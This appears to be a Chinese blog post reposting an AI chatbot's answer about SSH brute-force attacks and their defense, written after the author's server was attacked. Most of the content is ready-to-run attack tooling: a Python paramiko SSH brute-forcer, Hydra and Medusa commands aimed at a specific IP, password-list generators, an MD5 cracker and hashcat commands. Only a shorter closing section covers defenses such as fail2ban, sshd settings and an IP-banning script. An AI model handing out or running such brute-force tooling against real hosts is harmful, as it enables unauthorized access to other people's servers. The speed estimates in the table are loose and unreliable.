你瞅啥呢

2026-03-19 暴力破解与防御(deepseek)

我的服务器被攻击了,以下是问ai关于暴力破解与防御的内容。

🔍 暴力破解的全过程

这是一个很好的问题!让我用实际代码操作步骤来展示暴力破解是如何发生的。

📡 暴力破解的完整流程

graph LR A[获取目标] --> B[选择攻击方式] B --> C[在线破解] B --> D[离线破解] C --> E[编写脚本/使用工具] D --> F[获取哈希文件] E --> G[尝试登录] F --> H[本地计算哈希] G --> I[分析结果] H --> I

💻 实际代码示例

1️⃣ 最简单的SSH暴力破解脚本(Python)

#!/usr/bin/env python3
# ssh_bruteforce.py - 仅用于教育目的!

import paramiko
import sys
from itertools import product
import string

def ssh_bruteforce(host, username, password_list):
    """
    尝试SSH登录
    注意:这是演示代码,请勿用于非法用途!
    """
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    for password in password_list:
        try:
            print(f"[*] 尝试密码: {password}")
            client.connect(
                hostname=host,
                port=22,
                username=username,
                password=password,
                timeout=3
            )
            print(f"[+] 成功!密码是: {password}")
            client.close()
            return password
        except paramiko.AuthenticationException:
            continue
        except Exception as e:
            print(f"[-] 连接错误: {e}")
            continue
    
    print("[-] 没有找到正确密码")
    return None

# 生成简单密码字典
def generate_simple_passwords():
    passwords = []
    # 常见密码
    common = ['123456', 'password', 'admin', 'root', '12345678']
    passwords.extend(common)
    
    # 生成6位数字密码
    for i in range(1000000):
        passwords.append(str(i).zfill(6))
    
    return passwords

if __name__ == "__main__":
    host = "114.132.249.3"  # 你的服务器
    username = "root"
    passwords = generate_simple_passwords()
    
    ssh_bruteforce(host, username, passwords)

2️⃣ 专业的暴力破解工具

Hydra(最流行的在线破解工具)

# 安装Hydra
apt-get install hydra  # Ubuntu
yum install hydra      # CentOS

# SSH暴力破解
hydra -l root -P passwords.txt ssh://114.132.249.3

# 带参数说明
hydra -l 用户名 -P 密码字典.txt 目标IP ssh

# 多线程破解
hydra -l root -P passwords.txt -t 4 ssh://114.132.249.3

Medusa(另一个常用工具)

# 安装Medusa
apt-get install medusa

# SSH破解
medusa -h 114.132.249.3 -u root -P passwords.txt -M ssh

3️⃣ 密码字典生成

# password_generator.py - 生成密码字典
import itertools
import string

def generate_dictionary(output_file, min_len=1, max_len=4):
    """
    生成密码字典文件
    """
    chars = string.ascii_letters + string.digits + string.punctuation
    
    with open(output_file, 'w') as f:
        for length in range(min_len, max_len + 1):
            for combo in itertools.product(chars, repeat=length):
                password = ''.join(combo)
                f.write(password + '\n')
                if len(combo) % 10000 == 0:
                    print(f"已生成 {len(combo)} 个密码...")

# 生成4位以内所有组合(约8140万种)
# generate_dictionary('passwords.txt', 1, 4)

# 更实用的:常见密码 + 变体
def generate_common_passwords():
    common = [
        'admin', 'root', 'password', '123456', 'qwerty',
        'admin123', 'root123', 'password123', '12345678',
        'admin123456', 'root123456', 'password123456'
    ]
    
    variations = []
    for pwd in common:
        variations.append(pwd)
        variations.append(pwd.upper())
        variations.append(pwd.capitalize())
        variations.append(pwd + '!')
        variations.append(pwd + '@')
        variations.append(pwd + '#')
        variations.append(pwd + '2024')
        variations.append(pwd + '2025')
    
    return variations

passwords = generate_common_passwords()
with open('common.txt', 'w') as f:
    for pwd in passwords:
        f.write(pwd + '\n')

4️⃣ 离线破解(拿到密码哈希后)

# hash_crack.py - 离线MD5破解
import hashlib
import time

def crack_md5_hash(target_hash, password_list):
    """
    破解MD5哈希
    """
    start_time = time.time()
    attempts = 0
    
    for password in password_list:
        attempts += 1
        hash_attempt = hashlib.md5(password.encode()).hexdigest()
        
        if attempts % 100000 == 0:
            print(f"已尝试 {attempts} 次...")
        
        if hash_attempt == target_hash:
            elapsed = time.time() - start_time
            print(f"[+] 找到密码: {password}")
            print(f"[+] 尝试次数: {attempts}")
            print(f"[+] 耗时: {elapsed:.2f}秒")
            return password
    
    print("[-] 未找到密码")
    return None

# 使用Hashcat(专业工具)
"""
# Hashcat命令示例
hashcat -m 0 -a 0 hash.txt passwords.txt  # 字典攻击
hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a   # 暴力破解6位
"""

5️⃣ 你服务器上正在发生的攻击

从你的日志看到的攻击,相当于有人在运行类似这样的命令:

# 用常见用户名列表尝试
for user in root admin adminuser test; do
    hydra -l $user -P common_passwords.txt ssh://114.132.249.3
done

# 或者用Python脚本持续尝试
while true; do
    python3 ssh_bruteforce.py --target 114.132.249.3 --user root
    sleep 1
done

🛡️ 如何防御这些攻击

1️⃣ Fail2ban配置(自动封IP)

# /etc/fail2ban/jail.local
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/secure
maxretry = 3
bantime = 86400
findtime = 600

2️⃣ 修改SSH配置

# /etc/ssh/sshd_config
Port 2222                    # 改端口
PermitRootLogin no           # 禁止root
PasswordAuthentication no    # 禁止密码
MaxAuthTries 3               # 最大尝试次数
LoginGraceTime 30            # 登录超时

3️⃣ 监控脚本

#!/bin/bash
# monitor_attacks.sh - 实时监控攻击

tail -f /var/log/secure | while read line; do
    if echo "$line" | grep -q "Failed password"; then
        IP=$(echo "$line" | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b")
        DATE=$(date +%H:%M:%S)
        echo "[$DATE] 攻击IP: $IP"
        
        # 自动封禁频繁攻击的IP
        COUNT=$(grep -c "$IP" /var/log/secure)
        if [ $COUNT -gt 10 ]; then
            iptables -I INPUT -s $IP -j DROP
            echo "[$DATE] 已封禁攻击IP: $IP"
        fi
    fi
done

📊 实际攻击速度对比

设备 每秒尝试次数 破解8位密码需要
你的脚本 10-50次 几百年
Hydra(4线程) 100-200次 几十年
单块显卡 10万-100万次 几天
8块RTX 4090 1000万次 几小时
超级计算机 10亿次+ 几分钟

结论

你服务器上的攻击者用的是最入门的脚本(每秒几次到几十次),所以虽然尝试了3.8万次,但:

  1. 速度太慢
  2. 字典不够大
  3. 没有针对性

如果他们升级装备(用显卡集群),情况就完全不同了。所以必须立即加固!

posted @ 2026-03-19 15:24  叶乘风  阅读(33)  评论(0)    收藏  举报